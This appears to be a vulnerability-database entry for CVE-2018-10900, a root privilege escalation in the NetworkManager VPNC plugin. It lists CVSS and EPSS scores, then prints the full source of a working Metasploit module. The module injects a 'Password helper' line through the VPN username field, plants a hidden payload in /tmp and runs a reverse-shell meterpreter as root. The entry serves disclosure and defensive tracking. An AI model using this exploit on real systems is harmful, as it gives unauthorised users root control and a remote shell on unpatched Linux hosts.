CVE-2018-10900

Score / Severity

7.8

High

CVE Descriptions

Network Manager VPNC plugin (aka networkmanager-vpnc) before version 1.2.6 is vulnerable to a privilege escalation attack. A new line character can be used to inject a Password helper parameter into the configuration data passed to VPNC, allowing an attacker to execute arbitrary commands as root.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V3.0	8.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Changed An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	55.25%	–	–	–	–
2021-09-05	–	55.25%	–	–	–
2022-01-09	–	55.25%	–	–	–
2022-02-06	–	–	11.96%	–	–
2022-04-03	–	–	11.96%	–	–
2023-03-12	–	–	–	0.32%	–
2023-06-18	–	–	–	0.31%	–
2023-07-23	–	–	–	0.36%	–
2024-01-21	–	–	–	0.36%	–
2024-02-11	–	–	–	0.36%	–
2024-06-02	–	–	–	0.36%	–
2024-06-30	–	–	–	0.36%	–
2024-12-22	–	–	–	0.32%	–
2025-01-26	–	–	–	0.32%	–
2025-01-19	–	–	–	0.32%	–
2025-01-25	–	–	–	0.32%	–
2025-03-18	–	–	–	–	4.44%
2025-05-11	–	–	–	–	4.36%
2025-05-11	–	–	–	–	4.36,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	1%
2022-01-09	99%
2022-02-06	89%
2022-04-03	95%
2023-03-12	66%
2023-06-18	66%
2023-07-23	69%
2024-01-21	7%
2024-02-11	72%
2024-06-02	72%
2024-06-30	73%
2024-12-22	7%
2025-01-26	71%
2025-01-19	7%
2025-01-25	71%
2025-03-18	88%
2025-05-11	88%
2025-05-11	88%

Exploit information

Exploit Database EDB-ID : 45313

Publication date : 2018-08-30 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Network Manager VPNC Username Privilege Escalation', 'Description' => %q{ This module exploits an injection vulnerability in the Network Manager VPNC plugin to gain root privileges. This module uses a new line injection vulnerability in the configured username for a VPN network connection to inject a `Password helper` configuration directive into the connection configuration. The specified helper is executed by Network Manager as root when the connection is started. Network Manager VPNC versions prior to 1.2.6 are vulnerable. This module has been tested successfully with VPNC versions: 1.2.4-4 on Debian 9.0.0 (x64); and 1.1.93-1 on Ubuntu Linux 16.04.4 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Denis Andzakovic', # Discovery and exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Jul 26 2018', 'References' => [ ['CVE', '2018-10900'], ['URL', 'http://seclists.org/oss-sec/2018/q3/51'], ['URL', 'https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc'], ['URL', 'https://gitlab.gnome.org/GNOME/NetworkManager-vpnc/commit/07ac18a32b4'], ['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-10900'], ['URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10900.html'], ['URL', 'https://launchpad.net/ubuntu/+source/network-manager-vpnc/0.9.8.6-1ubuntu2.1'], ['URL', 'https://www.debian.org/security/2018/dsa-4253'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1605919'], ['URL', 'https://bugzilla.novell.com/show_bug.cgi?id=1101147'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def check unless command_exists? 'nmcli' vprint_error 'Network Manager nmcli utility is not installed' return CheckCode::Safe end vprint_good 'nmcli utility is installed' CheckCode::Detected end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end if check != CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end @payload_name = ".#{rand_text_alphanumeric rand(10..15)}" payload_path = "#{base_dir}/#{@payload_name}" print_status 'Adding VPN connection...' vpn_data = [] vpn_data << '+vpn.data "IKE DH Group = dh2"' vpn_data << "+vpn.data 'IPSec ID = #{rand_text_alphanumeric 5..10}'" vpn_data << '+vpn.data "IPSec gateway = 127.0.0.1"' vpn_data << '+vpn.data "IPSec secret-flags = 4"' vpn_data << '+vpn.data "Local Port = 0"' vpn_data << '+vpn.data "NAT Traversal Mode = natt"' vpn_data << '+vpn.data "Perfect Forward Secrecy = server"' vpn_data << '+vpn.data "Vendor = cisco"' vpn_data << '+vpn.data "Xauth password-flags = 4"' vpn_data << "+vpn.data \"Xauth username = #{rand_text_alphanumeric 5..10}\nPassword helper #{payload_path}\"" vpn_data << "+vpn.data 'ipsec-secret-type = #{rand_text_alphanumeric 5..10}'" vpn_data << "+vpn.data 'xauth-password-type = #{rand_text_alphanumeric 5..10}'" res = cmd_exec "nmcli connection add con-name #{@payload_name} type vpn ifname '*' vpn-type vpnc -- #{vpn_data.join(' ')}" if res.include? 'Error' fail_with Failure::Unknown, 'Could not create VPN connection' end res = cmd_exec 'nmcli connection' unless res.include? @payload_name fail_with Failure::Unknown, 'Could not create VPN connection' end print_status 'Uploading payload...' upload_and_chmodx payload_path, generate_payload_exe print_status 'Starting VPN connection...' cmd_exec "nmcli connection up #{@payload_name} & echo " end def cleanup print_status 'Removing VPN connection...' res = cmd_exec "nmcli connection delete #{@payload_name}" unless res.include? 'successfully deleted' print_warning "Could not remove VPN connection #{@payload_name}" end super end end